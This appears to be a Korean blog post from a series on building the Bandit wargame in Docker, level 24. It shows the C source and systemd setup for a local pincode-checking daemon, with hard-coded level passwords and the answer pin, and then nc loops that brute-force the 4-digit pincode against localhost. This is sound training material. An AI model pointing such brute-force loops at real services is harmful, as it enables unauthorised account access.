1. Bandit24 목표
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode.
There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time
2. Bandit24 구현
# 비밀번호 root 입력 접속
ssh -oStrictHostKeyChecking=no root@localhost -p 2220
chown -R root:root /home/bandit24/.[!.]*
cat <<'BANDIT_TMP' > /tmp/bandit25_answer.c
#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "time.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "unistd.h"
#include "signal.h"
#define BUF_LEN 128
char *read_file_content(const char *file_path)
{
FILE *file;
char *buffer;
long file_size;
file = fopen(file_path, "r");
if (file == NULL)
{
perror("Error opening file");
return NULL;
}
fseek(file, 0, SEEK_END);
file_size = ftell(file);
rewind(file);
buffer = (char *)malloc(sizeof(char) * (file_size + 1));
if (buffer == NULL)
{
perror("Memory allocation failed");
fclose(file);
return NULL;
}
size_t read_size = fread(buffer, sizeof(char), file_size, file);
if (read_size != file_size)
{
perror("Error reading file");
free(buffer);
fclose(file);
return NULL;
}
buffer[file_size] = '\0';
fclose(file);
if (buffer[file_size - 1] == '\n') {
buffer[file_size - 1] = '\0';
}
return buffer;
}
char *concatenate_strings(const char *str1, const char *str2)
{
size_t len1 = strlen(str1);
size_t len2 = strlen(str2);
char *new_content = (char *)malloc(len1 + len2 + 1);
if (new_content == NULL) {
perror("Memory allocation failed");
return NULL;
}
memcpy(new_content, str1, len1);
memcpy(new_content + len1, str2, len2 + 1);
return new_content;
}
int main(int argc, char *argv[])
{
signal(SIGPIPE, SIG_IGN);
char buffer[BUF_LEN];
struct sockaddr_in server_addr, client_addr;
char temp[20];
int server_fd, client_fd;
socklen_t len;
ssize_t msg_size;
char *answer = read_file_content("/etc/bandit_pass/bandit24");
if (answer == NULL)
{
fprintf(stderr, "Failed to read file content.\n");
return EXIT_FAILURE;
}
const char *additional_string = " 1452";
char *new_answer = concatenate_strings(answer, additional_string);
if (new_answer == NULL)
{
free(answer);
return EXIT_FAILURE;
}
free(answer);
if(argc != 2)
{
printf("usage : %s [port]\n", argv[0]);
exit(0);
}
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Server : Can't open stream socket");
exit(1);
}
memset(&server_addr, 0x00, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(atoi(argv[1]));
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
{
perror("Server : Can't bind local address");
close(server_fd);
exit(1);
}
if(listen(server_fd, 5) < 0)
{
perror("Server : Can't listen for connections");
close(server_fd);
exit(1);
}
printf("Server : waiting for connection request.\n");
len = sizeof(client_addr);
while(1)
{
client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &len);
if(client_fd < 0)
{
perror("Server: accept failed");
continue;
}
inet_ntop(AF_INET, &client_addr.sin_addr, temp, sizeof(temp));
printf("Server : %s client connected.\n", temp);
write(client_fd, "I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.\n", strlen("I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.\n"));
while (1) {
msg_size = read(client_fd, buffer, BUF_LEN - 1);
if(msg_size < 0)
{
perror("Server: read failed");
break;
} else if (msg_size == 0) {
// Client disconnected
printf("Client disconnected\n");
break;
}
buffer[msg_size] = '\0'; // Ensure null-terminated string
printf("Received %ld bytes: %s\n", msg_size, buffer);
buffer[strcspn(buffer, "\n")] = '\0'; // Remove newline character if exists
if(strcmp(buffer, new_answer) == 0)
{
char *nextPass = read_file_content("/etc/bandit_pass/bandit25");
if (nextPass == NULL)
{
fprintf(stderr, "Failed to read next file content.\n");
continue;
}
const char *message_template = "Correct!\nThe password of user bandit25 is %s\n\n";
size_t message_size = snprintf(NULL, 0, message_template, nextPass) + 1;
char *result = (char *)malloc(message_size);
if (result == NULL)
{
perror("Memory allocation failed");
free(nextPass);
continue;
}
sprintf(result, message_template, nextPass);
write(client_fd, result, strlen(result));
free(nextPass);
free(result);
break;
}
else
{
write(client_fd, "Wrong! Please enter the correct current password and pincode. Try again.\n", strlen("Wrong! Please enter the correct current password and pincode. Try again.\n"));
}
}
close(client_fd);
printf("Server : %s client closed.\n", temp);
}
close(server_fd);
free(new_answer);
return 0;
}
BANDIT_TMP
gcc -o /tmp/bandit25_answer /tmp/bandit25_answer.c
rm -f /tmp/bandit25_answer.c
mv /tmp/bandit25_answer /bin/
cat <<'BANDIT_TMP' > /etc/systemd/system/bandit24.service
[Unit]
Description=Bandit24 Service
After=network.target
[Service]
ExecStart=/bin/bandit25_answer 30002
Restart=always
[Install]
WantedBy=multi-user.target
BANDIT_TMP
systemctl daemon-reload
systemctl enable bandit24
systemctl start bandit24
chmod 755 /home/bandit25
chown root:root /home/bandit25
useradd bandit25 && echo -e "iCi86ttT4KSNe1armKiwbQNmB3YJP3q4\niCi86ttT4KSNe1armKiwbQNmB3YJP3q4" | passwd bandit25
echo iCi86ttT4KSNe1armKiwbQNmB3YJP3q4 > /etc/bandit_pass/bandit25
chmod 400 /etc/bandit_pass/bandit25
chown bandit25:bandit25 /etc/bandit_pass/bandit25
3. Bandit24 문제풀의
# bandit24 로 설정한 패스워드를 입력하여 접속한다.
# gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
ssh -oStrictHostKeyChecking=no bandit24@localhost -p 2220
# 0001 부터 9999까지 표준출력
# 표준출력 문자열을 pincode로서 패스워드 및 공백과 함께 localhost 30002 전달
# 암호 외의 문자열을 제외하기 위해 Wrong,pincode,Correct,줄바꿈문자 제외 처리
# awk 명령어로 암호만 출력
# 패스워드 확인
seq -w 0001 9999 | xargs -I {} echo -e "$(cat /etc/bandit_pass/bandit24) {}" 2>/dev/null | nc localhost 30002 2>/dev/null | grep -Ev 'Wrong|pincode|Correct|^[[:space:]]*$' | awk '{ print $7 }'
# 패스워드 확인(다른 방법)
# 위 명령어와 동일한 결과 출력
# nc 명령어는 q 옵션을 통해 한번 응답을 받고 종료하도록 함
# nc 명령어는 버전에 따라 q 옵션을 지원하지 않는 경우도 있어 참고
for i in {0001..9999}; do RESPONSE=$(echo -e `cat /etc/bandit_pass/bandit24` $i | nc -q 0 localhost 30002 | grep -Ev 'Wrong|pincode|Correct|^[[:space:]]*$' | awk '{ print $7 }'); [ -n "$RESPONSE" ] && echo "$RESPONSE" && break; done;
'Wargame > Bandit' 카테고리의 다른 글
[ Docker ] Bandit Wargame 만들기 - 26번 문제 ( 27 / 33 ) (0) | 2024.06.21 |
---|---|
[ Docker ] Bandit Wargame 만들기 - 25번 문제 ( 26 / 33 ) (0) | 2024.06.20 |
[ Docker ] Bandit Wargame 만들기 - 23번 문제 ( 24 / 33 ) (0) | 2024.06.19 |
[ Docker ] Bandit Wargame 만들기 - 22번 문제 ( 23 / 33 ) (0) | 2024.06.19 |
[ Docker ] Bandit Wargame 만들기 - 21번 문제 ( 22 / 33 ) (0) | 2024.06.19 |